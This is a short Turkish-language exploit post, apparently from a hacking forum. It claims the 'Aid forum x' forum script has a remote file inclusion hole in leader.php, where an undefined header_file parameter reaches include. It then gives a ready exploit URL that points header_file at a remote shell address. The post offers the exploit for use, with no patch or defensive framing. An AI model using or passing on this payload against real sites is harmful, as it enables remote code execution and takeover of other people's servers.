Aid Forum Script Hacking Code

Aid forum x adlı forum scriptinde rfi açığı vardır...

Söz konusu açığın bulunduğu dosya leader.php dosyasıdır.Leader.php dosyasındaki header_file verisi tanımlanmadığı için uzaktan bağlantı sağlıyabiliyoruz

Error Code : include şheader_file;

Exploit:

www.site.com/path/leader.php?header_file=(shell adresi )


SAYGILAR